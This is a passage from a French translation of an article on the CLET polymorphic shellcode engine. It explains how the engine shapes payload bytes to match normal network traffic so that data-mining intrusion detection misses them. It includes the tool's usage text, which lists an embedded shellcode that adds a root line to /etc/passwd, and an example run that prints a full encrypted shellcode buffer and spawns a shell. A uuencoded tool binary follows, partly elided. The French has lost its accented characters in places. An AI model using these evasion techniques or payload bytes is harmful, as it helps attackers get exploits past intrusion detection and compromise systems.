Xb la variable alatoire de Bernouilli associe au nombre de b dans les 9
premiers octets.
Xc la variable alatoire de Bernouilli associe au nombre de c dans les 9
premiers octets.

Nous comparons intuitivement p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=7)*p(Xb=2)
			  et p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=6)*p(Xb=3)

Ainsi, nous choisissons c parce que le paquet ABBAAAAAC a spectraleement
parlant, (NdT: spectrumly speaking), plus de probabilites d'exister que
ABBAAAAA ou ABBAAAAAB.

Peut etre pourriez-vous penser que c'est parce que c a la probabilit la
plus importante dans le traffic. C'est une maniere fausse de voir les
choses. En effet, imaginez que nous avons le commencement suivant:

CCCCCBBB

Comment devons nous choisir le prochain octet ? Nous souhaitons choisir A
bien que A et B aient le meme probabilit d'apparaitre (cf les raisons
expliques plus haut).

Ok, donc on choisit C. En utilisant le meme principe, nous choisisons
ensuite C pour les dixime octet: ABBAAAAACC.

Le probleme est que nous ne pouvons utiliser cette mthode pour gnrer les
octets de la cramming zone. En effet, cette mthode est fixe. Lorsque que
nous crivons fix, nous voulons dire que les 8 premiers octets fixent les
deux suivants. C'est une faiblesse !  Ainsi,si nous gnrons la cramming
zone par cette mthode, les zones prcdentes  (nop_zone + dchiffrement +
shellcode) vont fixer la cramming zone. Si nous utilisons ce principe, nous
crons une mthode pour reconnaitre notre paquet. Prennez le dbut et
essayez avec le meme principe de crer une cramming zone. Si nous obtenons
le meme octet, alors le paquet a t cre par le moteur polymorphique CLET
(mme si il n'est pas vident de trouver le dbut de la cramming bytes
zone). Nous devons donc carter cette mthode.

Maintenant nous allons introduire des rgles de probabilits. En effet, si
nous avons le dbut suivant: ABBAAAAA, nous  devons augmenter la
probabilit d'obtenir un C et baisser la probabilit d'obtenir B ou A.
Mais ces dernieres ne doivent pas tre nulles ! La vraie question est la
suivante: comment modifier la probabilit de a,b,c pour obtenir finallement
un paquet dont le spectre est proche du spectre du traffic ?

------[ 5.3.1.b - une ide'e logique

Prenons le dernier exemple: nous avons

ABBAAAAA

et un fichier spectal avec:
A=50; B=50; C=100;

Comment choisir les lois de probabilit ?  Avec les notations utilises
plus haut et dans le cas ou tous les octets auraient et choisis en
utilisant le fichier spectral, nous aurons:

E[Xa]=9/4
E[Xb]=9/4
E[Xc]=9/2

E[x] indique la probabilit d'apparition de la variable x (mathmatiquement
parlant dans notre cas: E[x]=p(x)*taille (ici 9) car c'est une variable de
Bernouilli)

En fait nous avons 6 A et 2 B.  Parce que 9/4-6 <0, il serait stupide de
gnrer un B, nous pouvons crire que la nouvelle probabilit de a est
maintenant p(A)=0!

Cependant 9/4-2 >0 et 9/2-0>0, ainsi nous pouvons toujours gnrer b et c
pour ajuster le spectre. Nous devons avoir p(B)>0 et p(C)>0.  Nous avons:

9/4-2=1/4
9/2-0=9/2

Ansi, intuitivement, nous pouvons penser logiquement que C a une
probabilit (9/2)/(1/4)=18 plus importante que la probabilit de B. Ainsi
nous devons resoudre le systeme:

| p(C)=18*p(C)		cad	| p(B)=1/19
| p(C)+p(C)=1 			| p(C)=18/19

Et nous obtenons les lois pour gnrer le neuvieme octet.  Nous pouvons
ensuite utiliser le meme algorithme pour creer la cramming zone.

Cependant cet algorithme a le probleme suivant:

Le gros probleme est de savoir dans quelles conditions nous avons:

		e[Xa] ~ sizeof(packet) * p(A)
		e[Xb] ~ sizeof(packet) * p(B)
		e[Xc] ~ sizeof(packet) * p(C)
		...
		lorsque sizeof(cramming zone) ---> +oo
		cad quand sizeof(paquet) -------> +oo

~ signifiant quivalent  (au sens mathmatique du terme).

sizeof(packet) * p(.) sera la probabilit d'apparation de la variable dans
le paquet dans le cas o le paquet aura t entirement gnr en fonction
du traffic (parce que dans ce  cas, Xa,Xb,.. sontt des variables de
Bernouilli, voir [7]). Rappellez vous que c'est ce que nous voulons. Nous
voulons que notre cramming zone gnere un paquet dont le spectre entier est
proche du spectre du traffic. Nous voulons que nos lois 'corrigent' le
spectre du dbut (du paquet).  Intuitivement nous pouvons esperer que ce
sera le cas parce que nous favorisons l'apparition des octets manquants.
Cependant il est difficile de le prouver, mathmatiquement parlant. Prenons
E[Xa] par exemple. Il est trs difficile de donner son expression.  En
effet, en utilisant cette mthode, les regles permettant de gnrer l'octet
n dependent de l'octet alatoire n-1. Dans notre exemple, les regles pour
gnrer le dixieme octet ne seront pas les memes si nous avons ABBAAAAAC ou
ABBAAAAAB. Rappellez vous que pour viter une mthode fixe ,les deux cas
sont permis !  C'est donc pour toutes ces raisons que nous avons choisi une
mthode plus simple.

------[ 5.3.1.c La mthode CLET.

Si vous n'utilisez pas l'option -B, la cramming bytes zone sera gnre
comme expliqu au dbut de la partie 5.3.1, sans tenir compte des zones de
dbuts. Nous pouvons maintentant commencer  expliquer comment cette
mthode est implmente, comment elle utilise le fichier spectral. Supposez
que nous avons le fichier spectral suivant:

0 6
1 18
2 13
3 32
4 0
.....
fc 0
fd 37
fe 0
ff 0

D'abord nous pouvons noter que nous ne nous soucions pas de la premiere
ligne parce que nous ne pouvons gnrer de zros dans notre zone. Nous
construisons donc le tableau suivant:

   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 31+32 |  63+37 |
                              = 31    = 63    = 100

Ensuite, nous choisissons alatoirement un nombre n compris entre 1 et 100
et nous faisons une recherche dichotomique dans le tableau (afin de
diminuer la complexit de l'alogrithme, nous pouvons raliser ce type de
recherche car nous avons un tableau tri).

si 0 < n <= 18 nous gnrons \x01
si 18 < n <= 31 nous gnrons \x02
si 31 < n <= 63 nous gnrons \x03
si 63 < n <= 100 nous gnrons \xfc

Cette mthode nous permet de gnrer une cramming bytes zone avec
p(1)=18/100,p(2)=13/100,p(3)=32/100 et p(fc)=37/100,sans utiliser de
division de rels.

Maintenant voyons comment l'option -B prend les zones de dbut  en
considration.

Nous prenons le meme exemple avec le meme fichier spectral:

   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 31+32 |  63+37 |
                              = 31    = 63    = 100


Pour prendre en compte les zones de dbut, nous modifions le tableau avec
la mthode suivante:

Imaginez que nous avons  gnrer  800 octets pour  cramming zone, les
zones de dbut ayant une taille globable.  de 200 octets. En fait,  la
fin, notre paquet sans la zone adresse aura une taille de 1000 octets.

Nous appellons ntotal la valeur maximal dans le tableau (ici 100) et b la
taille du paquet sans la zone adresse (ici 1000).  b= b1 + b2 (b1 est la
taille du dbut=fakenop+dchiffrement+shellcode et b2 est la taille de la
cramming byte zone). ici b1=200 et b2=800.

Voyons comment nous modifions le tableau, pour l'instant avec l'octet \x03.
Nous appellons q3 le nombre d'apparition de  l'octet \x03 dans le dbut.
(ici nous choisissons q3=20).

Nous calculons q3*ntotal/b=20*1/10=2 et ensuite nous effectuons 63-2=61.
Nous obtenons le tableau suivant:


   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 63-02 |  61+37 |
                              = 31    = 61    = 98

Ainsi, maintenant nous pouvons penser que nous avons une probabilit de
30/98 de gnrer \x03.  Cependant cet algorithme doit tre utilis pour
modifier toutes les valeurs. La valeur 98 sera donc modife. Nous
appliquons donc le meme algorithme pour les autres octets et nous pouvons
supposer que nous obtenons finallement le tableau suivant:


   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  16   | 11+16 |  57   |  57+33 |
                              = 27             = 90

Finallement nous obtenons les probabilits suivantes :

p(\x01)= 16/90
p(\x02)= 11/90
p(\x03)= 30/90
p(\xfc)= 33/90

Cette rgle sera utilise pour gnrer toute la cramming bytes zone.
Intuitivement, nous comprenons qu' avec cette mthode, nous corrigeons
notre spectre selon les valeurs que nous avons dans le dbut.  La question
est maintenant de savoir si nous  pouvons prouver que cette mthode apporte
une correction correcte, et si

E[Xn] ~ b*p(n) quand b ---> +oo

lorsque X est une variable alatoire de Bernouilli qui compte le nombre
d'apparitions de l'octet n dans la paquet et p(n) la probabilit de n
d'apparaitre dans le traffic.

Dans un tel  cas, cela signifirait que E[X], avec une valeur suffisante de
b, correspond ' une simple proportionalit de Bernouilli' : c'est comme si
nous avions gner le paquet entier avec les probabilites du traffic !

Prouvons le !

Nous reprenons les memes notations. ntotal est la somme totale des donnes
dans le traffic.  b=b1+b2 (la taille de b1 du dbut, b2 taille de la
cramming zone).  Nous appellons q(\xA2) le nombre d'apparition de l'octet
\xa2 dans le dbut (fakenop +dechiffrement +shellcode) et n(\xAE) le nombre
initalement crit dans le fichier spectral correspond nt l'octet AE.

Nous prenons un octet que nous appelons TT.

e[Xt] = q(TT) + b2 * p'(TT)

p'(TT) est la probabilit pour avoir n apres la modification du tableau
spectral.  Comme nous l'avons vu prcdemment:


                            n(TT) - q(TT)*Ntotal/b         
p'(TT)=  -----------------------------------------------------------
          Ntotal - ( q(\x00)+ q(\x01) +  ...... + q(\xFF) )*Ntotal/b

Ainsi nous avons:

                                 n(TT) - q(TT)*Ntotal/b
E[Xt]=q(TT)+b2*--------------------------------------------------------
               Ntotal - (q(\x00)+ q(\x01) +  ...... + q(\xFF))*Ntotal/b

Nous simplifions par ntotal:

                          (b2*n(TT))/Ntotal - q(TT)*b2/b
E[Xt]=q(TT) + --------------------------------------------------------
                     1 - (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b

ok, quand b -----> +oo, nous avons:

b2~b (b=b1+b2 et b1 est une constante)

Evidemment q(\x00)=o(b); q(\x01)=o(b);.....

Ainsi nous avons 
	q(\x00)+ q(\x01) +  ...... + q(\xFF))/b = o(1) et:
   1 - (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b -------> 1

Ainsi E[Xt] = q(TT) + b*(n(TT)/ntotal) - q(TT) + o(b)

Or nous avons p(n)=n(TT)/ntotal donc

e[Xt] = b*p(n) + o(b)

Ainsi e[xt] ~ b*p(n) cool , nous avons russi!!

Nous pouvons noter que nous avions aussi cette relation avec la premiere
mthode simple. Nous pouvons ainsi penser que cette seconde mthode n'est
pas meilleure.  C'est faux : en effet, rappellez vous que cette relation ne
montre pas qu'une mthode est bonne ou non, elle nous montre juste si la
mthode est juste ou pas! cette seconde mthode prend en compte le dbut,
elle est donc bien mieux que la premire. Cependant, avant la
dmonstration, noud ne pouvions savoir si la mthode tait juste. Nous
savions juste que si elle l'tait, elle serait meilleur que la premiere
mthode simpliste. Maintenant nous savons qu'elle est juste. C'est pourquoi
CLET l'utilise.


------[ 5.3.2 - generating shellcode zone using spectrum analysis.

On peut avoir l'ide simple suivante: nous allons gnrer plusieurs
routines de dchiffrement et nous allons utiliser la meilleure. Mais
comment choisir la meilleure ?

Rappellons que nous voulons generer un shellcode qui sera considr comme
normal. Ainsi nous pourrions penser que la meilleure routine de
dechiffrement  est celle qui permet de gnrer un shellcode dont le spectre
est proche  du spectre du traffic. Cependant, il est important de
comprendre que cette approche a ses limites.  En effet, imaginez le cas
suivant:

Nous avons un ids dont la mthode de data mining est trss simples, si il
trouve un octet \xff dans un paquet, il genere une alerte et carte le
paquet. Nous avons le fichier spectral suivant:

0 0
1 0
.....
41 15678
42 23445
....

Le shellcode que nous gnrons aura plusieurs \x41 et \x42, mais imaginez
qu'il y ait un \xff dans le shellcode chiffr. Notre paquet sera ignor.
Cependant si nous avions cre un paquet sans avoir utiliser de fichier
spectral et sans utiliser d'octet \xff, le paquet aurait t  accept. Pour
l'instant nous supposons que plus le spectre du paquet est proche de celui
du traffic et plus sa probabilit de passer est  grande.  Cependant, il
peut exister des exceptions comme nous le voyons dans cet exemple (nous
pouvons noter que dans l'exemple la rgle tait trs claire, mais les
rgles gnre par une mthode de data mining sont souvent moins simples).
La  principal question est donc de savoir comment definir un bon shellcode
polymorphique ?

Contre la mthode de data mining, il y a une ide simple, nous devons
dfinir une mesure qui nous permet de mesurer la  valeur d'un shellcode.
Comment trouver cette mesure ? Pour le moment, nous travaillons sur une
mesure qui favorise le shellcode dont le spectre est proche de celui du
traffic en donnant une valeur importantes aux  octets qui n'apparaissent
pas dans le traffic.  Cependant, cette mthode n'est pas implmente dans
la version 1.0.0 car  actuellement les ids utilisant des mthodes de data
mining ne sont que peu developps (il n'y a que SNORT) et il est donc assez
difficile de voir quelles  caractristiques seront dtectes ou non (taille
du paquet, spectre du paquet, ...) : il est donc assez difficile de definir
une bonne mesure (qui prend en compte ce genre de paramtres).


------[ 5.3.3 - generating fakenop zone using spectrum analysis.

Dans cette partie, nous n'allons pas modifier le code en utilisant
l'analyse spectrale car une telle implmentation est difficile  mettre en
place.  Nous allons juste tenter de gnrer un code alatoire en utilisant
une fonction my_random donnant une chance equiprobable de gnrer un nombre
entre min et max .... :( Nous avons aussi pens  une fonction qui
donnerait un poids pour chaque instruction suivant les rsultats d'une
analyse spectral, et nous aurions alors  pu gnrer un fake-nop avec une
fonction alatoire dont la densit correspond  la densit des
probabilites donnes par l'ancienne fonction...  Le probleme avec cette
mthode est que l'ensemble des instructions est plus petit que l'ensemble
de tous les codes hexa quz contient le traffic rseau. Une telle trouvaille
dtourne automatiquement les problmes de notre mthode, et tout ce que
nous pouvons faire est de minimaliser la diffrence entre le spectre de
notre code et celui d'un traffic rseaux normal, puis essayer de compenser
avec d'autres parties du shellcode que nous controllons mieux (comme la
cramming zone)...

----[ 5.4 - conclusion sur les mthodes anti data-mining

L'analyse spectrale est une approche mais ce n'est pas  la seule. Nous
sommes aussi au courant qu' avec des mthodes comme la mthode neuronale
expose plus haut, il est possible de gnrer un filtre contre les
shellcodes polymorphiques CLET si vous utilisez notre moteur comme un
benchmark pour tester  votre systeme neuronal.  C'est une mthodes
d'utilisation intrssante ! Peut tre serait-il intrssant de songer 
utiliser des mthodes gntiques  pour trouver la meilleure approche (cf
[5]).  Cependant, aujourd'hui le data-mining commence et il est donc
difficile de trouver la meilleure approche...

--[ 6 - le moteur de shellcode polymorphique CLET

----[ 6.1 - principe

Nous avons dcid de crer alatoirement  une routine diffrente a chaque
fois. Nous gnrons d'abord un XOR (avec une cl alatoire)  une place
alatoire, et ensuite nous gnrons des instructions reversibles (autant
que vous en voulez): add/sub, rol/ror. Nous ne les gnrons pas en
assembleur mais dans un language pseudo-assembleur, il est, en effet, plus
facile de manipuler le language pseudo-assembleur  cet endroit du
programme car nous avons  raliser  deux choses en meme temps: chiffrer le
shellcode et gnrer la routine dchiffrement.

Voyons comment cela fonctionne:

                        |
                        |
                        |
                +-------+--------+
                | pseudo-code of |
                |  the decipher  |<----------------+
                |    routine     |                 |
                +----------------+                 |
                 |              |                  |
                 |              |                  |
            traduction    interpretation           |
                 |              +                  |
                 |            cipher               |
                 |              |                  |
                 |              |                  |
                 |              |                 YES
                 |              |                  |
          +-------------+  +-----------+      +----+----+
          |   decipher  |  | ciphered  |      |         |
          |   routine   |  | shellcode +----->| zeroes? |
          |             |  |           |      |         |
          +------+------+  +-----------+      +----+----+
                 |                                 |
                 |                                NO
                 |                                 |
                 |    +----------------------------+
                 |    |
                 |    |
             +-------------+
             | polymorphed |
             |  shellcode  |
             +-------------+


Evidement, lorsque qu'une routine de chiffrement a t gnere, nous la
testons pour voir si un zero apparait dans le code chiffr (nous prenons
galement soin  ne  pas avoir de zros dans les cls. Si c'est le cas,
nous les remplacons par un 0x01). Si c'est le cas, une nouvelle routine de
chiffrement est gnere. Si c'est bon, nous gnerons la routine de
dchiffrement associe. Pour le moment,nous n'inserons pas de fausses
instructions parmi les bonnes instuctions de la routine de dchiffrement,
cela pourrait constituer une amlioration pour notre gnrateur.

L'armature principale de notre routine est relativement toujours la mme
(c'est peut tre une faiblesse) car nous utilisons toujours trois
registres. Toutefois nous prenons soin d'utiliser des  registres diffrents
a chaque fois, cad que ces trois registres sont choisis au hasard (cf 4.2).


----[ 6.2 - utilisation du moteur polymorphique CLET

theo@warmach$ ./CLET -h
_________________________________________________________________________

the CLET shellcode mutation engine
by CLET team:
theo detristan, tyll ulenspiegel,
mynheer superbus von underduk, yann malcom
_________________________________________________________________________


don't use it to enter systems, use it to understand systems.

version 1.0.0

syntax :
./CLET
-n nnop : generate nnop nop.
-a : use american english dictonnary to generate nop.
-c : print c form of the buffer.
-i nint : decryption routine has nint instructions (default is 5)
-f file : spectrum file used to polymorph.
-b ncra : generate ncra cramming bytes using spectrum or not
-b : cramming bytes zone is adapted to beginning
-t : number of bytes generated is a multiple of 4
-x xxxx : xxxx is the address for the address zone
fe011ec9 for instance
-z nadd : generate address zone of nadd*4 bytes
-e : execute shellcode.
-d : dump shellcode to stdout.
-s : spectrum analysis.
-s file : load shellcode from file.
-e [1-3]: load an embeded shellcode.
-h : display this message.

/* size options:

in bytes:

-n nnop -b ncra -z nadd/4
<--------> <--------------><------------->
-------------------------------------------------------------------------
| fakenop | decipherroutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------

-t allows that:

size_of_fake_nop_zone + size_decipher + size_decipher + size_cramming
is a multiple of 4. this option allows to alignate return adresses.

-i is the number of fake instructions (cf 6.1) in the decipher routine.

/* anti-data mining options:

-f you give here a spectrum file which shows trafic spectrum (cf 5.3)
if you don't give a file, probabilities of bytes are the same.

-b the option -b generates a cramming bytes zone. if the option is used
without -b, process of generation doesn't take care of the fakenop
zone, ciphered shellcode, etc... indeed if -b is used with -b then
cramming bytes zone tries to correct spectrum 'errors' due to the
begininning.

/* shellcode

-e allows you to choose one of our shellcode.
1 is a classic bash (packetstorm).
2 is aleph one shellcode.
3 is a w00w00 code which add a root line in /etc/passwd
(don't use it with -e in root)

-s allows us to give your shellcode. it's important because our
shellcodes are not remote shellcode! you give a file and its bytes
will be the shellcode. if you just have a shellcode in cformat you can
use convert.

-e execute the encrypted shellcode, you see your polymorphic shellcode
runs.

/* see the generated shellcode.

-c writes the shellcode in c format.

-d dump it on stderr.


/* example

theo@warmach$ ./CLET -e -e 2 -b 50 -t -b -c -f ../spectrum/stat2 -a -n 123
-a -x aabbccee -z 15 -i 8

[+] generating decryption loop :
add 4ec0cb5c
ror 19
sub 466d336c // option -i
xor a535c6b4 // we've got 8 instructions.
ror d
ror 6
sub 51289e19
sub dad72129
done

[+] generating 123 bytes of alpha nop :
nop : supremelycrutchescataractinstrumentationlovablyperillabarb
spanishizesbeganambidextrouslyphosphorsavedzealousconvincedfixers
done

// 123 bytes, it's the -n 123 option. -a means alphanumeric nops.

[+] choosing used regs :
work_reg : %edx
left_reg : %ebx // regs randomly chosen for decipher routine.
addr_reg : %ecx
done

[+] generating decryption header :
done

[+] crypting shellcode :
done

[+] generating 50 cramming bytes // -b 50 bytes of cramming bytes
[+] using ../spectrum/stat2 // -f ../spectrum/stat2: bytes
[+] adapting to beginning // depends on spectrum file.
done // -b options: adapting to beginning
// cf 5.3.1

[+] generating 1 adding cramming bytes to equalize // -t option
[+] using ../spectrum/stat2 // we can now add adresses of 4 bytes
done

[+] assembling buffer :
buffer length : 348
done

// this all the polymorph shellcode in c format (option -c)

assembled version :
\x53\x55\x50\x52
\x45\x4d\x45\x4c
\x59\x43\x52\x55
\x54\x43\x48\x45
\x53\x43\x41\x54
\x41\x52\x41\x43
\x54\x49\x4e\x53
\x54\x52\x55\x4d
\x45\x4e\x54\x41
\x54\x49\x4f\x4e
\x4c\x4f\x56\x41
\x42\x4c\x59\x50
\x45\x52\x49\x4c
\x4c\x41\x42\x41
\x52\x42\x53\x50
\x41\x4e\x49\x53
\x48\x49\x5a\x45
\x53\x42\x45\x47
\x41\x4e\x41\x4d
\x42\x49\x44\x45
\x58\x54\x52\x4f
\x55\x53\x4c\x59
\x50\x48\x4f\x53
\x50\x48\x4f\x52
\x53\x41\x56\x45
\x44\x5a\x45\x41
\x4c\x4f\x55\x53
\x43\x4f\x4e\x56
\x49\x4e\x43\x45
\x44\x46\x49\x58
\x45\x52\x53\xeb
\x3b\x59\x31\xdb
\xb3\x30\x8b\x11
\x81\xc2\x5c\xcb
\xc0\x4e\xc1\xca
\x19\x81\xea\x6c
\x33\x6d\x46\x81
\xf2\xb4\xc6\x35
\xa5\xc1\xca\x0d
\xc1\xca\x06\x81
\xea\x19\x9e\x28
\x51\x81\xea\x29
\x21\xd7\xda\x89
\x11\x41\x41\x41
\x41\x80\xeb\x04
\x74\x07\xeb\xca
\xe8\xc0\xff\xff
\xff\xe3\xbf\x84
\x3e\x59\xf4\xfd
\xee\xe7\xcf\xe2
\xa2\x02\xf8\xbe
\x1d\x30\xeb\x32
\x3c\x12\xd7\x5a
\x95\x09\xab\x16
\x07\x24\xe3\x02
\xea\x3b\x58\x02
\x2d\x7a\x82\x8a
\x1c\x8a\xe1\x5c
\x23\x4f\xcf\x7c
\xf5\x41\x41\x43
\x42\x43\x0a\x43
\x43\x43\x41\x41
\x42\x43\x43\x43
\x43\x43\x43\x42
\x43\x43\x43\x43
\x43\x0d\x0d\x43
\x43\x43\x43\x43
\x41\x42\x43\x43
\x43\x41\x43\x42
\x42\x43\x43\x42
\x0d\x41\x43\x41
\x42\x41\x43\x43 // -t option: it is equalized.
\xaa\xbb\xcc\xee // -z 15 option: 15*sizeof(adress) zone
\xaa\xbb\xcc\xee // -x aabbccee option gives the adress
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee
\xaa\xbb\xcc\xee

executing buffer : ... // -e option we test our polymorph shellcode
sh-2.05a$ // -e 2 we've chosen aleph one shellcode
// that's it.

--[ 7 - references.

[1] http://www.phrack.org/p49-14
smashing the stack for fun and profit, aleph one

[2] http://www.phrack.org/p57-0x0f
writing ia32 alphanumeric shellcodes, rix

[3] ia-32 intel architecture software developer's manual
volume 2: instruction set reference
http://www.intel.com/design/pentium4/manuals/
obtnez le gratuitement !
http://www.intel.com/design/pentium4/manuals/index2.htm

[4] billy belcebu virus writing guide
spe'cialement le chapitre sur le polymorphisme
http://vx.netlux.org/lib/static/vdat/tumisc60.htm

[5] du virus a l'antivirus, mark ludwig
spe'cialement le chapitre sur le polymorphisme

[6] neural computing: an introduction.
r. beale, t. jackson

[7] calcul des probabilites
dominique foata, aime fuchs
dunod edition

--[ greetz

nous souhaitons remercier:
- tous ceux qui taient aux rtc.party'03, en particulier ptah, eldre8, kad
  et spacewalker.
- les mecs de #kaori@irc.freenode.net
- basque && bedian pour leur support moral.

begin 644 CLET
m'xl(`'9n.3\``^s];8\t.7:f">is_hh'lvc,#+#=g2g5rpk"?c!w8[a;akf9
m)tgs"(_=@5!=e:vn6:fjd%75v\)@_oorw/=]#ae9dkh7hu%cl7hr@^<b>?aj
m=!j-1b-_^;??_^'?_>=o_mw7_^[k?_o[7__jw__9_pg_oo[z)u___*<_;?+k
...............
...............
...............
ml2ju/[$_y.2do;c)t^7\=m*f)%[za(xt"iwge.g<djo9k^17v@bx.q@)57s'
m4\:+v2z86i*fluo*/<d_:.$t@:%b]@m)ejpp\t.f$sl`_9i@pchc5\g'g+'<
m+$].*ny2i2i5j4i5je*5je2e*e6i2e6j4i6j5*4j5:e*5:i2e;[>]&_'0]ph
$`/@'````
`
end

|=[ EOF ]=---------------------------------------------------------------=|